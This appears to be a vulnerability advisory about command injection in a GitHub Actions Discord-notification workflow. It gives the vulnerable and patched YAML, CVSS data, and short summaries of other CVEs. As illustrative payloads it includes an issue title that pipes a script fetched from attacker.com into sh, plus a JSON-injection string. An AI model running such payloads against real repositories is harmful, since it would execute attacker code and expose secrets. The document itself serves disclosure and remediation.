Jun 21, 2026·5 min read·28 visits
Untrusted GitHub issue and pull request titles are directly interpolated into an inline Bash script within a GitHub Actions workflow, leading to arbitrary OS command injection.
A command injection vulnerability exists in the .github/workflows/discord-issue.yml workflow of the gouef/githubtoplanguages repository. By exploiting literal string interpolation of untrusted issue titles into an inline Bash script, an attacker can execute arbitrary code within the GitHub Actions runner environment. This exposure risks the theft of repository secrets such as the Discord webhook URL.
The repository gouef/githubtoplanguages integrated a custom GitHub Actions workflow designated for notifying a Discord channel when issues or pull requests are processed. This automation is defined within the workflow file .github/workflows/discord-issue.yml, which triggers on issue opening and closing events.
The core of the functionality relies on a step that constructs a JSON payload containing details of the GitHub event and transmits it to a Discord webhook. Because GitHub Actions workflows run in a privileged virtual environment with access to repository secrets, secure handling of external inputs within these scripts is paramount.
The workflow exposed a significant attack surface by treating untrusted user input—specifically the title of a GitHub issue or pull request—as trusted executable instructions within an inline shell execution step. This architectural design flaw represents a classic input validation failure within an automation context.
The technical root cause lies in how the GitHub Actions runner processes expressions in inline scripts. Before executing a run block, the workflow runner scans the YAML for double-curly brace expressions and performs literal string replacement with the event payload values.
In the vulnerable workflow configuration, the expression ${{ github.event.issue.title }} was placed directly within double quotes in a Bash variable assignment. When the runner prepared the script for execution, it literally pasted the attacker-supplied issue title string into the shell script file.
Since the shell evaluates variable assignments inside double quotes, any command substitution sequence present in the issue title, such as backticks or dollar-parenthesis syntax, is parsed and executed by the shell. This occurs prior to the execution of the main commands, resulting in direct OS command injection under the permissions of the runner process.
An examination of the vulnerable code snippet reveals the direct interpolation of the event-driven titles into local variables within the inline execution environment:
- name: Send notification to Discord
env:
DISCORD_WEBHOOK: ${{ secrets.DISCORD_WEBHOOK_URL_ISSUE }}
run: |
STATUS="${{ github.event.action == 'opened' && '📢 **New Issue**' || '✅ **Issue Closed**' }}"
ISSUE_TYPE="${{ github.event_name }}"
ISSUE_TITLE="${{ github.event.issue.title || github.event.pull_request.title }}"
ISSUE_URL="${{ github.event.issue.html_url || github.event.pull_request.html_url }}"
AUTHOR="${{ github.actor }}"If an issue is opened with the title $(id), the pre-processed script executed by the shell contains the literal assignment ISSUE_TITLE="$(id)". When the shell parses this line, the expression $(id) is executed, and its output is stored in the ISSUE_TITLE variable.
The patched version remediates this security gap by removing the direct interpolation from the inline script body entirely. Instead, the runner defines standard process-level environment variables, which do not undergo shell evaluation:
- name: Send notification to Discord
env:
DISCORD_WEBHOOK: ${{ secrets.DISCORD_WEBHOOK_URL_ISSUE }}
ISSUE_TITLE: ${{ github.event.issue.title }}
ISSUE_URL: ${{ github.event.issue.html_url }}
AUTHOR: ${{ github.actor }}
run: |
STATUS="${{ github.event.action == 'opened' && '📢 **New Issue**' || '✅ **Issue Closed**' }}"
# Now, $ISSUE_TITLE is evaluated as a standard shell variableExploiting this vulnerability requires minimal administrative access because any authenticated GitHub user can open an issue on a public repository. This satisfies the Low Privileges requirement (PR:L) under the CVSS framework.
To trigger the vulnerability, an attacker submits a new issue with a crafted payload in the title field, such as test $(curl -fsSL http://attacker.com/malicious_script | sh). Once the issue is created, the GitHub Actions platform automatically triggers the workflow, parsing the payload and executing the malicious payload inside the ephemeral runner environment.
While the environment is virtualized and short-lived, it hosts highly sensitive information, including the GitHub runner's access tokens and configured repository secrets. In this specific repository, the runner holds the DISCORD_WEBHOOK_URL_ISSUE secret, which can be easily extracted and exfiltrated during execution.
Even when the shell execution is secured using environment variables, the system remains vulnerable to a secondary security weakness involving JSON injection. The workflow constructs the JSON payload using manual string concatenation inside double quotes within a curl invocation.
If an attacker provides an issue title containing unescaped double quotes, they can break out of the JSON string structure. This allows them to manipulate additional keys in the JSON object, such as the username or content fields of the Discord webhook payload.
To illustrate this, a title like Test\", \"username\": \"Admin Spoofer\" would override the Discord bot name. This architectural weakness underscores the importance of utilizing utility tools like jq to properly serialize data objects rather than manually constructing them using string templates.
The primary remediation strategy is to upgrade to version 1.1.4 or apply the security patch shown in commit 157840482e592bd4f8e0617539e73cdbef26f1ac. This patch safely decouples the user-controlled input from the shell parsing context.
For comprehensive protection, developers should always separate code from data in GitHub Actions. This is achieved by mapping all context-based expressions into step-level environment variables before referencing them inside the shell script.
Furthermore, to completely mitigate both command injection and JSON structural manipulation, workflows should leverage specialized tools such as jq for payload assembly. This ensures that all inputs are systematically encoded, preventing both shell escape sequences and syntax corruption within downstream APIs.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
githubtoplanguages gouef | < 1.1.4 | 1.1.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-74 / CWE-78 / CWE-94 |
| Attack Vector | Network (AV:N) |
| CVSS v4.0 Score | 7.1 (High) |
| Exploit Status | PoC |
| KEV Status | Not Listed |
| Affected Component | GitHub Actions Workflow (.github/workflows/discord-issue.yml) |
| Ephemeral Impact | Arbitrary Command Execution in Runner Environment |
CVE-2026-106121 is a Denial of Service (DoS) vulnerability in the RabbitMQ Java Client library (amqp-client) affecting versions prior to 5.37.0. The vulnerability resides in the legacy, custom JSON-RPC parsing class com.rabbitmq.tools.json.JSONReader. When parsing malformed or truncated payloads ending within a quoted string or single-line comment, the parser's scanner enters an infinite loop. This occurs because the loop lacks an exit condition for the end-of-input sentinel character returned by the iterator, leading to either CPU exhaustion or a JVM crash from an OutOfMemoryError.
An authenticated Regular Expression Denial of Service (ReDoS) vulnerability in TryGhost Ghost (CMS) versions 4.0.0 through 6.66.x. An attacker with administrator privileges can upload crafted content import archives containing pathological directory names or migration patterns, triggering exponential backtracking in the Node.js V8 engine.
CVE-2026-105645 is a regular expression denial of service (ReDoS) vulnerability affecting Ghost, an open-source Node.js content management system. The vulnerability exists within directory import handlers and the external media inliner, allowing authenticated administrators to trigger catastrophic backtracking in the V8 JavaScript engine, resulting in infinite loops, 100% CPU utilization, and total denial of service.
A Stored Cross-Site Scripting (XSS) and Unrestricted Upload of File with Dangerous Type vulnerability in Ghost CMS (versions 4.0.0 to 6.66.x) allows remote attackers to execute arbitrary JavaScript in the context of an administrator's session. The flaw lies in the content import subsystem, which extracted and stored SVG files without sanitization or binary verification.
Stored Cross-Site Scripting (XSS) and origin isolation bypass vulnerability in Ghost CMS versions 6.34.0 through 6.66.1 allows low-privileged staff users to execute arbitrary JavaScript in the context of an administrator session via crafted embed cards.
CVE-2026-105642 is a critical remote code execution vulnerability in Ghost CMS, affecting versions 6.56.0 through 6.66.0. The flaw resides in how Ghost's backend handles external image metadata when generating 'Bookmark' cards in the post editor. When a low-privileged staff member inputs a malicious URL, the server fetches and processes an SVG containing an embedded payload, leading to command execution via the underlying, vulnerable image-processing component.